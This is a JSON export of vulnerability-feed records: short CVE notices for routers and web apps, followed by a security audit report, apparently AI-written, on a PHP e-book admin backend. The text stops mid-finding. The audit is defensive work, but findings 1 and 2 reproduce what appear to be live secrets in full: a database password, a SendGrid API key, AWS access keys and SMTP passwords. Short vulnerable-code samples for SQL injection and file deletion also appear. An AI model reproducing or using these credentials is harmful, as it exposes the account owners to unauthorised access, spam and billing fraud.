50\u00a0minutes ago \nDescription : MrDoc v0.95 and before is vulnerable to Server-Side Request Forgery (SSRF) in the validate_url function of the app_doc/utils.py file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:12.000000Z"}, {"uuid": "55990d18-ef9f-4f56-b7e6-edfafc2bfb06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45488", "type": "seen", "source": "https://t.me/cvedetector/24636", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45488 - Linksys E5600 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45488 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS function via the mailex parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:32.000000Z"}, {"uuid": "099d0c7f-06f7-47d9-b6aa-a447e7f681ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45489", "type": "seen", "source": "https://t.me/cvedetector/24637", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45489 - Linksys E5600 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45489 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS function via the hostname parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:33.000000Z"}, {"uuid": "fa170bda-cf66-405e-96c6-ef7345a790c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45491", "type": "seen", "source": "https://t.me/cvedetector/24631", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45491 - Linksys E5600 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45491 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS function via the username parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:24.000000Z"}, {"uuid": "ff552358-b436-4852-8315-a7b97a94b492", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45490", "type": "seen", "source": "https://t.me/cvedetector/24633", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45490 - Linksys E5600 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45490 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS function via the password parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:26.000000Z"}, {"uuid": "f373b52f-7c73-443f-9228-0c9296154740", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45492", "type": "seen", "source": "https://t.me/cvedetector/24634", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45492 - Netgear EX8000 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45492 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Netgear EX8000 V1.0.0.126 is vulnerable to Command Injection via the Iface parameter in the action_wireless function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:27.000000Z"}, {"uuid": "a97daa12-eded-4bf7-ae00-cd8fc7e3a4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45487", "type": "seen", "source": "https://t.me/cvedetector/24635", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45487 - Linksys E5600 Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45487 \nPublished : May 6, 2025, 4:15 p.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.InternetConnection function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-06T20:20:31.000000Z"}, {"uuid": "f341d524-0c8b-48a0-8558-d50d4612ec49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45514", "type": "seen", "source": "https://t.me/cvedetector/24758", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45514 - Tenda FH451 Stack Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45514 \nPublished : May 7, 2025, 7:16 p.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : Tenda FH451 V1.0.0.9 has a stack overflow vulnerability in the function.frmL7ImForm. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-07T23:12:17.000000Z"}, {"uuid": "ca92c81e-3f81-46ab-ba84-5ecb9f2ad5fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45388", "type": "seen", "source": "https://t.me/cvedetector/24756", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45388 - Wagtail CMS Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2025-45388 \nPublished : May 7, 2025, 7:16 p.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : Wagtail CMS 6.4.1 is vulnerable to a Stored Cross-Site Scripting (XSS) in the document upload functionality. Attackers can inject malicious code inside a PDF file. When a user clicks the document in the CMS interface, the payload executes. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-07T23:12:15.000000Z"}, {"uuid": "4f6fcc6b-fc57-4538-8575-677c435de47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4565", "type": "seen", "source": "https://gist.github.com/limcheekin/49ca8210543fa6a982930a55e27a261c", "content": "", "creation_timestamp": "2026-05-05T01:21:55.000000Z"}, {"uuid": "c4c7323a-e9e5-4e9c-92d0-141d1ab208f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45769", "type": "seen", "source": "https://gist.github.com/feranmi2002/a79078da33b34369681222b0a03ab04d", "content": "# Security Audit Report \u2014 GoshenWells Admin Web Services\n\n**Date:** 2026-05-12\n**Auditor:** Claude (Expert DevSecOps / SAST mode) \u2014 updated after cross-review\n**Codebase:** PHP (native) + Slim 3 Framework\n**Branch Audited:** `dev`\n\n---\n\n## Summary\n\n**39 distinct vulnerability classes** were identified across the admin panel, author portal, legacy `web_services` endpoints, Slim 3 API, Docker configuration, committed binary artifacts, and dependency manifests. The codebase contains **11 Critical** and **16 High** severity findings. Several issues represent active compromise risks regardless of network exposure \u2014 secrets are already committed, a destructive unauthenticated endpoint is live, SQL injection is pervasive, passwords are stored in plaintext in multiple flows, and uploaded files can contain executable scripts in a public directory.\n\n**This codebase must not be exposed to the internet in its current state.**\n\n---\n\n## Vulnerability Summary Table\n\n| # | Vulnerability | Severity |\n|---|---|---|\n| 1 | Hardcoded Database Credentials in VCS | **Critical** |\n| 2 | Hardcoded Third-Party API Keys and SMTP Passwords | **Critical** |\n| 3 | Firebase FCM Server Keys and Apple Push Certificates Committed | **Critical** |\n| 4 | SMTPJS Credentials Exposed in Browser JavaScript | **Critical** |\n| 5 | Hardcoded JWT Secret \u2014 Known Example Value | **Critical** |\n| 6 | Unauthenticated User Deletion Endpoint | **Critical** |\n| 7 | SQL Injection \u2014 Pervasive Throughout Codebase | **Critical** |\n| 8 | Admin and Author Passwords Stored in Plaintext | **Critical** |\n| 9 | `reset.php` Writes New Password to DB Without Hashing | **Critical** |\n| 10 | Request-Controlled File Deletion via `unlink()` | **Critical** |\n| 11 | CVE-2021-46743 \u2014 `firebase/php-jwt` v5.0.0 | **Critical** |\n| 12 | Use of Removed `mysql_*` Extension | **High** |\n| 13 | Unsafe `extract()` on User-Supplied Superglobals | **High** |\n| 14 | Weak SHA-1 Password Hashing Without Salt | **High** |\n| 15 | Insecure File Upload \u2014 No Server-Side MIME Validation | **High** |\n| 16 | JWT Token Expires in 10 Seconds \u2014 Broken Auth | **High** |\n| 17 | Full User Object Returned on Login \u2014 Sensitive Data Exposure | **High** |\n| 18 | Missing `exit()` After Session Redirect \u2014 Auth Bypass | **High** |\n| 19 | IDOR \u2014 Book Purchase Accepts Arbitrary `user_id` | **High** |\n| 20 | Broken API Authorization \u2014 Token Does Not Prove User Ownership | **High** |\n| 21 | Social Login Trusts Request-Supplied Identity | **High** |\n| 22 | Missing Authentication on `common/*.php` AJAX Endpoints | **High** |\n| 23 | `phpinfo()` Pages Publicly Exposed | **High** |\n| 24 | Session ID Echoed in Admin Panel HTML | **High** |\n| 25 | TLS Verification Disabled in cURL Notification Scripts | **High** |\n| 26 | Docker: Database and phpMyAdmin Ports Exposed; EOL PHP Runtime | **High** |\n| 27 | Apache `Options Indexes` Enabled \u2014 Directory Listing | **High** |\n| 28 | Session Fixation \u2014 No `session_regenerate_id()` After Login | **High** |\n| 29 | No CSRF Protection on State-Changing Admin Forms | **Medium** |\n| 30 | DB Error Messages Exposed to HTTP Response | **Medium** |\n| 31 | SMTP Debug Mode Enabled in Production | **Medium** |\n| 32 | Predictable Password Reset Token \u2014 `uniqid()` | **Medium** |\n| 33 | Stored XSS \u2014 Unescaped User Data in Admin Panel | **Medium** |\n| 34 | Reflected XSS \u2014 Raw `$_GET`/`$_REQUEST` Output in HTML | **Medium** |\n| 35 | JWT Middleware `\"secure\" => false` | **Medium** |\n| 36 | Missing HTTP Security Headers | **Medium** |\n| 37 | Database Dumps and Sensitive Artifacts Committed to Repository | **Medium** |\n| 38 | Outdated Dependencies \u2014 Slim 3, PHPMailer, Frontend Libraries | **Medium** |\n| 39 | `md5()` Used in Security-Sensitive Context | **Low** |\n\n---\n\n## Critical Findings\n\n---\n\n## [1] Hardcoded Database Credentials in Version-Controlled Files\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-798, OWASP A05:2021 \u2013 Security Misconfiguration\n* **Location:**\n  * `connection.php` at lines `2\u20138`\n  * `web_services/credData.php` at lines `2\u20134`\n  * `web_services/new/src/config/config.php` at lines `3\u20135`\n* **Description:** Production database hostname, username, and password (`Gh&8J%3sd@a12d$tg)jY%1)`) are hard-coded as PHP constants in plain text and committed to the Git repository. The credential appears identically in at least three separate files. Any repository reader \u2014 developer, contractor, or attacker \u2014 has immediate full database access.\n* **Impact:** Complete database compromise. All user, book-purchase, and payment data can be dumped, modified, or destroyed. The credential's presence in Git history means rotating it in the working tree is insufficient without also purging history.\n* **Remediation:**\n  1. Immediately rotate the database password on the server.\n  2. Move all secrets to a `.env` file and add `.env` to `.gitignore`.\n  3. Use `getenv()` or `vlucas/phpdotenv` to load values at runtime.\n  4. Purge all past commits containing credentials using `git filter-repo` or BFG Repo-Cleaner.\n* **Code Fix Example:**\n```php\n// .env (never committed)\n// DB_HOST=localhost\n// DB_USER=appoo\n// DB_PASS=\n// DB_NAME=ebookapp\n\n// connection.php\ndefine(\"DB_HOST\", getenv('DB_HOST') ?: '');\ndefine(\"DB_USER\", getenv('DB_USER') ?: '');\ndefine(\"DB_PASS\", getenv('DB_PASS') ?: '');\ndefine(\"DB_NAME\", getenv('DB_NAME') ?: '');\n```\n\n---\n\n## [2] Hardcoded Third-Party API Keys and SMTP Passwords\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-798, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:**\n  * `web_services/new/src/libs/auth.php` at line `116` \u2014 SendGrid API key\n  * `web_services/new/src/libs/functions.php` at lines `16\u201317` \u2014 AWS SES IAM key and secret\n  * `function.php` at lines `562\u2013563`, `595\u2013596` \u2014 GoDaddy SMTP password\n  * `web_services/function.php` at lines `16\u201317`, `562\u2013563` \u2014 duplicates of the above\n* **Description:** Multiple live third-party credentials are hard-coded across source files:\n  * SendGrid API key: `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`\n  * AWS SES IAM key: `AKIAI34UUS63AJH5EPXQ` / `Agw5szbfEs4F/5uFwyP/BltE5Od1wGnki59jYlvmxPi/`\n  * GoDaddy SMTP password: `G0shenWellsUserAcc0unt`\n  * AuthSMTP credentials: `ac54642` / `zfbqyec9qxbfnz`\n* **Impact:** Unauthorized email sending (phishing, spam), AWS billing fraud, full mailing infrastructure compromise, SendGrid account ban.\n* **Remediation:** Immediately revoke and rotate all listed keys in their respective provider dashboards. Move all keys to environment variables (see Finding #1). Never commit secrets even in commented-out code, as Git history retains them.\n* **Code Fix Example:**\n```php\n$mail->Username = getenv('SENDGRID_USERNAME');\n$mail->Password = getenv('SENDGRID_API_KEY');\n```\n\n---\n\n## [3] Firebase FCM Server Keys and Apple Push Certificates Committed to Repository\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-321, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:**\n  * `common/notification_abhinew.php` and related notification scripts \u2014 Firebase Cloud Messaging server key\n  * `common/goshenwellspushcert.p12` \u2014 Apple push certificate (binary)\n  * `common/goshenwellspushcert.pem` \u2014 Apple push certificate (PEM)\n  * `common/goshenwellspushcert_old.pem` \u2014 previous Apple push certificate\n* **Description:** Live Firebase Cloud Messaging server keys are embedded in notification scripts. Apple push certificate files (`.p12` and `.pem`) \u2014 which act as private keys authenticating the app to Apple Push Notification Service (APNs) \u2014 are committed as binary files in the repository.\n* **Impact:** Any repository reader can send arbitrary push notifications to all registered iOS and Android users, enabling phishing, social engineering, and reputational damage. Compromised Apple certificates require formal revocation through Apple Developer and redeployment of new certificates to all servers.\n* **Remediation:**\n  1. Revoke the Apple push certificates immediately via Apple Developer and generate new ones.\n  2. Rotate the Firebase server key in the Firebase console.\n  3. Remove the certificate files and FCM keys from the repository and purge from Git history.\n  4. Store push credentials in a secret manager or environment variable, never as committed files.\n* **Code Fix Example:**\n```php\n// Load FCM key from environment, never hardcode\n$fcm_key = getenv('FCM_SERVER_KEY');\n\n// Load push cert path from environment, store file outside webroot\n$push_cert_path = getenv('APNS_CERT_PATH'); // e.g., /etc/ssl/private/push.pem\n```\n\n---\n\n## [4] SMTPJS Credentials Exposed in Browser-Side JavaScript\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-312, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:**\n  * `admin/auth_panel/view_books_test.php`\n  * `admin/auth_panel/view_books_local.php`\n* **Description:** These files use SMTPJS \u2014 a client-side JavaScript library that sends email directly from the browser. This requires embedding SMTP credentials (host, username, password or API token) in the JavaScript that is delivered to the browser. Any visitor who opens DevTools or views page source can extract and reuse these credentials.\n* **Impact:** SMTP credentials are effectively public. Anyone can authenticate to the mail server and send email as the application \u2014 for spam, phishing, or credential theft campaigns.\n* **Remediation:** Remove all SMTPJS usage. Email must only be sent from server-side PHP code using credentials that are never exposed to the browser. If client-triggered email is needed, the browser calls an authenticated server endpoint, which then sends the email.\n* **Code Fix Example:**\n```php\n// Server-side endpoint (email_send.php) \u2014 browser POSTs to this\nsession_start();\nif (empty($_SESSION['admin_id'])) { http_response_code(403); exit; }\n\n$to      = filter_input(INPUT_POST, 'to',      FILTER_SANITIZE_EMAIL);\n$subject = filter_input(INPUT_POST, 'subject', FILTER_DEFAULT);\n// ... send via PHPMailer with server-side credentials from getenv()\n```\n\n---\n\n## [5] Hardcoded JWT Secret \u2014 Known Example Value\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-321, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `web_services/new/src/config/config.php` at line `9`\n* **Description:** The JWT signing secret is set to `\"supersecretkeyyoushouldnotcommittogithub\"` \u2014 copied verbatim from the `firebase/php-jwt` README example. This string is in public wordlists and is trivially known. Any attacker can use it to forge arbitrary JWT tokens selecting any user ID.\n* **Impact:** Complete authentication bypass. Forged tokens grant access to all protected API endpoints as any user, including impersonating administrators.\n* **Remediation:** Generate a cryptographically random secret (`openssl rand -base64 64`), store it in an environment variable, and redeploy. All currently issued tokens become invalid and all users must re-authenticate.\n* **Code Fix Example:**\n```php\ndefine(\"SECRET\", getenv('JWT_SECRET') ?: throw new RuntimeException('JWT_SECRET not set'));\n```\n\n---\n\n## [6] Unauthenticated User Deletion Endpoint\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-306, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `web_services/new/src/routes/api.php` at lines `17\u201343` (middleware) and `433\u2013456` (handler)\n* **Description:** The JWT middleware's `passthrough` list includes `/api/v1/deleteUser` (line 31), so no token is required. The handler accepts a bare `id` parameter and issues a DELETE query with no authentication, role check, or ownership verification. The SQL is also vulnerable to injection (see Finding #7).\n* **Impact:** Any unauthenticated internet user can delete any account by iterating `id=1`, `id=2`, etc., destroying the entire user base.\n* **Remediation:** Remove `/api/v1/deleteUser` from the passthrough list. Require authentication and an admin role check inside the handler. Use a parameterized query.\n* **Code Fix Example:**\n```php\n// Remove from passthrough \u2014 and add role guard in handler:\n$app->post('/deleteUser', function (Request $request, Response $response) {\n    $token = $request->getAttribute('jwt');\n    if (!isset($token->header->role) || $token->header->role !== 'admin') {\n        return $response->withJson(['status' => 0, 'message' => 'Forbidden'], 403);\n    }\n    $id   = (int) $request->getParam('id');\n    $conn = PDOConnection::getConnection();\n    $stmt = $conn->prepare(\"DELETE FROM appUsers WHERE id = :id\");\n    $stmt->bindParam(\":id\", $id, PDO::PARAM_INT);\n    $stmt->execute();\n    // ...\n});\n```\n\n---\n\n## [7] SQL Injection \u2014 Pervasive Throughout the Codebase\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-89, OWASP A03:2021 \u2013 Injection\n* **Location (representative sample):**\n  * `web_services/login.php` at lines `6`, `16`\n  * `web_services/forgetpassword.php` at lines `8`, `13`\n  * `web_services/book_purchase.php` at line `9`\n  * `response.php` and `authors_admin/response.php` \u2014 login queries\n  * `function.php` \u2014 entire `database` class: `logincheck()`, `insert_entry()`, `update_entry()`, `select_single_row()`, `run_result_query()`, etc.\n  * `common/addAudioVideo.php`, `common/book_ajax.php`, `common/assignBooksToUser.php`, `common/delete_ajax.php`, `common/approve_books_ajax.php`, `common/update_books_ajax.php`\n  * `web_services/new/src/routes/api.php` at lines `84`, `96`, `159`, `314`, `321`, `441`\n  * `authors_admin/function.php`, `authors_admin/forget.php`, `authors_admin/reset.php`, `authors_admin/export_payments.php`\n* **Description:** User-supplied data flows directly into SQL query strings via string concatenation across dozens of files and the central `database` helper class. The helper's generic `insert_entry()` and `update_entry()` methods build queries from arbitrary key-value arrays with no escaping, meaning any caller that passes user data is vulnerable. `addslashes()` used in some places is not a security control.\n* **Impact:** Authentication bypass, full database read/write/delete, potential Remote Code Execution via `SELECT ... INTO OUTFILE` if MySQL file privileges are set.\n* **Remediation:** Replace all concatenated queries with PDO prepared statements. Remove or make private any helper that accepts raw SQL strings.\n* **Code Fix Example:**\n```php\n// VULNERABLE:\n$qry1 = \"select * from appUsers where email ='\".$email.\"'\";\n\n// SECURE:\n$stmt = $pdo->prepare(\"SELECT * FROM appUsers WHERE email = :email\");\n$stmt->bindParam(\":email\", $email, PDO::PARAM_STR);\n$stmt->execute();\n$row = $stmt->fetch(PDO::FETCH_ASSOC);\n```\n\n---\n\n## [8] Admin and Author Passwords Stored in Plaintext\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-312, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:**\n  * `admin/auth_panel/change_password.php` at line `16`\n  * `function.php` \u2014 `logincheck()` compares raw password in SQL WHERE clause\n  * `response.php` \u2014 direct password comparison against DB value\n  * `authors_admin/response.php` \u2014 same pattern\n  * `common/author_ajax.php` \u2014 creates author accounts with raw passwords\n* **Description:** Admin and author passwords are stored as plaintext in the database and compared via SQL conditions or direct equality checks. There is no hashing at any point in these flows.\n* **Impact:** Any database read \u2014 via SQL injection, a backup, or direct access \u2014 immediately yields all plaintext admin and author credentials, enabling full account takeover.\n* **Remediation:** Migrate all passwords to `password_hash($password, PASSWORD_DEFAULT)`. Verify with `password_verify()`. Force a password reset for all existing accounts.\n* **Code Fix Example:**\n```php\n// Store:\n$insData['password'] = password_hash($new_password, PASSWORD_DEFAULT);\n\n// Verify \u2014 fetch by ID or email, never by password value:\n$admin = $obj->select_single_row('users', 'id', $_SESSION['admin_id']);\nif (!password_verify($old_password, $admin['password'])) {\n    $err_msg = 'Old password is wrong';\n}\n```\n\n---\n\n## [9] `reset.php` Writes New Password to Database Without Hashing\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-312, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:**\n  * `reset.php`\n  * `authors_admin/reset.php`\n* **Description:** The password reset flows update `users.password` directly with the user-submitted value. No hashing is applied. Even if passwords were hashed at registration, the reset flow overwrites the hash with plaintext.\n* **Impact:** Every user who resets their password has their new password stored in plaintext, compounding Finding #8 and ensuring any database disclosure yields cleartext credentials for all users who have ever used the reset flow.\n* **Remediation:** Hash the new password before writing it. Also enforce token expiry and one-time-use semantics on reset codes.\n* **Code Fix Example:**\n```php\n// reset.php \u2014 BEFORE:\n$sql = \"UPDATE users SET password='\".$_POST['new_password'].\"' WHERE id=...\";\n\n// AFTER:\n$hashed = password_hash($_POST['new_password'], PASSWORD_DEFAULT);\n$stmt = $pdo->prepare(\"UPDATE users SET password = :pass, resetCode = NULL WHERE id = :id\");\n$stmt->bindParam(':pass', $hashed);\n$stmt->bindParam(':id',   $userId, PDO::PARAM_INT);\n$stmt->execute();\n```\n\n---\n\n## [10] Request-Controlled File Deletion via `unlink()`\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-73, OWASP A01:2021 \u2013 Broken Access Control\n* **Location:** `common/adit_book_ajax.php`\n* **Description:** The file edit handler calls `unlink($_POST['oldImage'])` using a path supplied directly from the POST body. An authenticated attacker (or an unauthenticated one if the session guard is bypassed \u2014 see Finding #18) can supply any server path as `oldImage` to delete arbitrary files, including application PHP files, configuration files, or other uploaded content.\n* **Impact:** Denial of service (deleting application files), privilege escalation (deleting auth guards), or destruction of user data. Combined with path traversal, an attacker could delete files outside the intended directory.\n* **Remediation:** Never use user input to construct file paths for deletion. Look up the canonical filename from the database by the record's primary key and delete only that server-side path.\n* **Code Fix Example:**\n```php\n// BEFORE:\nunlink($_POST['oldImage']);\n\n// AFTER \u2014 look up the filename from DB by trusted ID:\n$book_id = (int) $_POST['book_id'];\n$stmt = $pdo->prepare(\"SELECT image FROM books WHERE id = :id\");\n$stmt->bindParam(':id', $book_id, PDO::PARAM_INT);\n$stmt->execute();\n$book = $stmt->fetch(PDO::FETCH_ASSOC);\n\n$safe_path = realpath('/var/uploads/books/' . basename($book['image']));\nif ($safe_path && str_starts_with($safe_path, '/var/uploads/books/')) {\n    unlink($safe_path);\n}\n```\n\n---\n\n## [11] CVE-2021-46743 \u2014 `firebase/php-jwt` v5.0.0 (Key/Algorithm Confusion)\n\n* **Severity:** Critical\n* **CWE/OWASP Reference:** CWE-347, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `web_services/new/composer.lock` \u2014 `firebase/php-jwt` pinned at `5.0.0`\n* **Description:** `composer audit --locked` reports CVE-2021-46743 / GHSA-8xf4-w7qw-pjjw against `firebase/php-jwt` 5.0.0: a key and algorithm type confusion vulnerability. An attacker can craft a JWT that is accepted as valid by supplying a public key as the HMAC secret, bypassing signature verification entirely. A second advisory (CVE-2025-45769 / GHSA-2x45-7fc3-mxwq) covers weak encryption in the same version.\n* **Impact:** JWT signature verification is bypassed. Combined with the committed JWT secret (Finding #5), tokens are completely forgeable, meaning the API's authentication layer provides no real protection.\n* **Remediation:** Upgrade `firebase/php-jwt` to the current major version and update `tuupola/slim-jwt-auth` to a compatible release. Run `composer audit` in CI on every build.\n* **Code Fix Example:**\n```bash\n# In web_services/new/\ncomposer require firebase/php-jwt:^6.0\ncomposer update tuupola/slim-jwt-auth\ncomposer audit\n```\n\n---\n\n## High Findings\n\n---\n\n## [12] Use of Removed `mysql_*` Extension\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-477, OWASP A06:2021 \u2013 Vulnerable and Outdated Components\n* **Location:** `function.php` throughout; `web_services/function.php` throughout; `config.php` at line `14`\n* **Description:** The entire legacy `database` class relies on the `mysql_*` extension (`mysql_query`, `mysql_fetch_assoc`, `mysql_affected_rows`, `mysql_connect`), which was deprecated in PHP 5.5 and removed in PHP 7.0. It provides no native prepared statement capability, making SQL injection mitigations impossible without a full rewrite.\n* **Impact:** All SQL injection attacks are possible with zero mitigation. The server must be running PHP 5.x to support this code, exposing it to a decade of unpatched PHP CVEs.\n* **Remediation:** Replace all `mysql_*` calls with PDO using prepared statements (the `web_services/new/` stack already does this \u2014 extend that pattern to the legacy code).\n* **Code Fix Example:**\n```php\n// BEFORE:\n$res = mysql_query(\"SELECT * FROM admin WHERE name='$email'\");\n$row = mysql_fetch_assoc($res);\n\n// AFTER:\n$stmt = $pdo->prepare(\"SELECT * FROM admin WHERE name = :name\");\n$stmt->bindParam(\":name\", $email, PDO::PARAM_STR);\n$stmt->execute();\n$row = $stmt->fetch(PDO::FETCH_ASSOC);\n```\n\n---\n\n## [13] Unsafe `extract()` on User-Supplied Superglobals\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-74, OWASP A03:2021 \u2013 Injection\n* **Location:**\n  * `web_services/login.php` at line `5`; `web_services/register.php` at line `6`; `web_services/forgetpassword.php` at line `7`; `web_services/book_purchase.php` at line `6`; `web_services/social_login.php` at line `6`\n  * `common/addAudioVideo.php`, `common/book_ajax.php`, `common/book_ajax_local.php`, `common/book_ajax_admin.php`, `common/adit_author_ajax.php`, `common/edit_audio_video_ajax.php`, `common/update_book_ajax.php`, and 10+ additional files in `common/`\n* **Description:** `extract($_POST)` and `extract($_REQUEST)` import all user-controlled keys into the local variable scope unconditionally. An attacker can overwrite any local variable \u2014 including `$obj`, `$json`, `$ids`, `$qry`, authentication flags \u2014 by submitting a POST key matching that variable name.\n* **Impact:** Variable hijacking, business logic bypass, and second-order injection across every affected endpoint.\n* **Remediation:** Remove all `extract()` calls on superglobals and explicitly access each required parameter by name with type casting.\n* **Code Fix Example:**\n```php\n// BEFORE:\nextract($_POST);\n\n// AFTER:\n$email    = filter_input(INPUT_POST, 'email',    FILTER_SANITIZE_EMAIL);\n$password = filter_input(INPUT_POST, 'password', FILTER_DEFAULT);\n```\n\n---\n\n## [14] Weak Password Hashing \u2014 SHA-1 Without Salt\n\n* **Severity:** High\n* **CWE/OWASP Reference:** CWE-916, OWASP A02:2021 \u2013 Cryptographic Failures\n* **Location:** `web_services/login.php` at line `12`; `web_services/register.php` at line `15`; `web_services/registerTest.php` at line `20`\n* **Description:** App user passwords are hashed with bare 